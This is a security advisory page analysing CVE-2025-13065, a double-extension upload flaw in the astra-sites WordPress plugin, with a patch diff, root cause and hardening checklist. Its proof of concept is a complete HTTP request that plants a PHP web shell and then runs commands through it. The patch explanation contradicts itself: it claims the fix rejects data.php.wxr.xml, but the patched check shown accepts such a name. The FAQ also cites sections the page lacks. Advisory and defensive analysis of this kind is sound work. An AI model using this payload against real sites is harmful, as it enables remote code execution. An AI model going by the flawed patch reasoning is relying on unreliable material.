SECURITY ADVISORY / 01

CVE-2025-13065 Exploit & Vulnerability Analysis

Complete CVE-2025-13065 security advisory with proof of concept (PoC), exploit details, and patch analysis for astra-sites.

astra-sites products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An authenticated attacker with author-level permissions uploads a file with a double extension like data.php.wxr.xml to WordPress, and the plugin's importer accepts it as a valid WXR file while the web server executes it as PHP.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

st_upload_file
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="data.php.wxr.xml"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

The response contains no error — the file lands on disk as data.php.wxr.xml in the uploads directory. The attacker navigates to /wp-content/uploads/data.php.wxr.xml?cmd=id and the web server strips the trailing .xml, parsing data.php.wxr as the filename and executing the PHP payload. Command output appears in the response.

What the Patch Did

Before:

public function real_mimes( $defaults, $filename, $file ) {
    // Set EXT and real MIME type only for the file name `wxr.xml`.
    if ( strpos( $filename, 'wxr' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

    // Set EXT and real MIME type only for the file name `wpforms.json` or similar
    if ( ( strpos( $filename, 'wpforms' ) !== false ) || ... ) {
        $defaults['ext']  = 'json';
        $defaults['type'] = 'text/plain';
    }

    if ( 'svg' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
    if ( 'svgz' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
}

After:

public function real_mimes( $defaults, $filename, $file ) {
    // Validate file extension using WordPress core function to prevent double extension attacks.
    $filetype = wp_check_filetype(
        $filename,
        array(
            'xml'  => 'text/xml',
            'json' => 'application/json',
            'svg'  => 'image/svg+xml',
            'svgz' => 'image/svg+xml',
        )
    );

    // Get actual file extension.
    $file_extension = pathinfo( $filename, PATHINFO_EXTENSION );

    // Reject files with no valid extension or mismatched extensions.
    if ( false === $filetype['type'] || empty( $file_extension ) ) {
        return $defaults;
    }

    // Set EXT and real MIME type only for the file name `wxr.xml`.
    // Ensure the actual extension is 'xml' to prevent double extension attacks like 'test.wxr.php'.
    if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false ) {
        $defaults['ext']  = 'xml';
        $defaults['type'] = 'text/xml';
    }

    // Set EXT and real MIME type only for the file name `wpforms.json`, etc.
    // Ensure the actual extension is 'json' to prevent double extension attacks.
    if ( 'json' === $file_extension && ( strpos( $filename, 'wpforms' ) !== false || ... ) ) {
        $defaults['ext']  = 'json';
        $defaults['type'] = 'text/plain';
    }

    if ( 'svg' === $file_extension ) { ... }
    if ( 'svgz' === $file_extension ) { ... }
}

The patch adds two security controls. First, it calls wp_check_filetype() — WordPress's core whitelist validator — against an explicit allowlist of safe extensions (xml, json, svg, svgz). Second, it extracts the actual file extension using pathinfo( $filename, PATHINFO_EXTENSION ) and enforces that the rightmost extension matches the declared file type before accepting the string-match condition. Files like shell.php.wxr.xml now fail because the actual extension is .xml but the presence check still finds wxr in the middle — the fix rejects the mismatch.

Root Cause

CWE-434: Unrestricted Upload of File with Dangerous Type. The original code trusted a substring match (strpos()) on the filename as evidence of intent, without validating the actual file extension that the operating system and web server would interpret. When strpos( $filename, 'wxr' ) !== false, the code blindly set the MIME type to text/xml regardless of what extension the file truly carried. An attacker supplied filename=data.php.wxr.xml; the substring match succeeded, the MIME type was overridden to xml, and the file was written to disk. Apache or Nginx then parsed the rightmost executable extension (.php) and executed the payload. No validation crossed the trust boundary between user input and filesystem/webserver interpretation.

Why It Works

The load-bearing line is $file_extension = pathinfo( $filename, PATHINFO_EXTENSION ); paired with the guard if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false ). Removing the 'xml' === $file_extension check would restore the vulnerability — an attacker could still upload shell.php.wxr.xml, the strpos() would match, and the file would be accepted. The additional lines calling wp_check_filetype() and the early exit provide defence-in-depth: they stop attackers who upload filenames with no recognized extension at all, and they provide a second whitelist check before the substring logic runs. But the critical fix is the rightmost-extension enforcement: it makes the code definition-aware, checking not just that the attacker mentioned wxr somewhere, but that the actual extension the OS sees is .xml.

Hardening Checklist

  • Never use strpos() for extension validation. Always extract the true extension with pathinfo( $filename, PATHINFO_EXTENSION ) and compare it against a hardcoded allowlist using strict equality (===), not substring search.

  • Call wp_check_filetype() before any custom logic. Pass only an explicit array of safe type→MIME pairs; reject the upload if the function returns false for the type field.

  • Validate extension and declared purpose together. If you need to accept both .xml and .json files, separate the logic: check the extension first, then apply type-specific handlers (e.g., separate if ( 'xml' === $file_extension ) blocks).

  • Test double-extension payloads during code review. Include .php.xml, .php.json, .phtml.xml, .php5.xml in your manual test cases before merge; automated linters often miss this class of flaw.

  • Use wp_handle_upload() or wp_insert_attachment() rather than custom upload handlers. WordPress core handles MIME detection and extension validation; reimplementing it introduces bugs.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13065

Frequently asked questions about CVE-2025-13065

What is CVE-2025-13065?

CVE-2025-13065 is a security vulnerability identified in astra-sites. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13065?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13065. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13065 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting astra-sites. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13065?

CVE-2025-13065 affects astra-sites. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13065?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for astra-sites.

What is the CVSS score for CVE-2025-13065?

The severity rating and CVSS scoring for CVE-2025-13065 affecting astra-sites is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.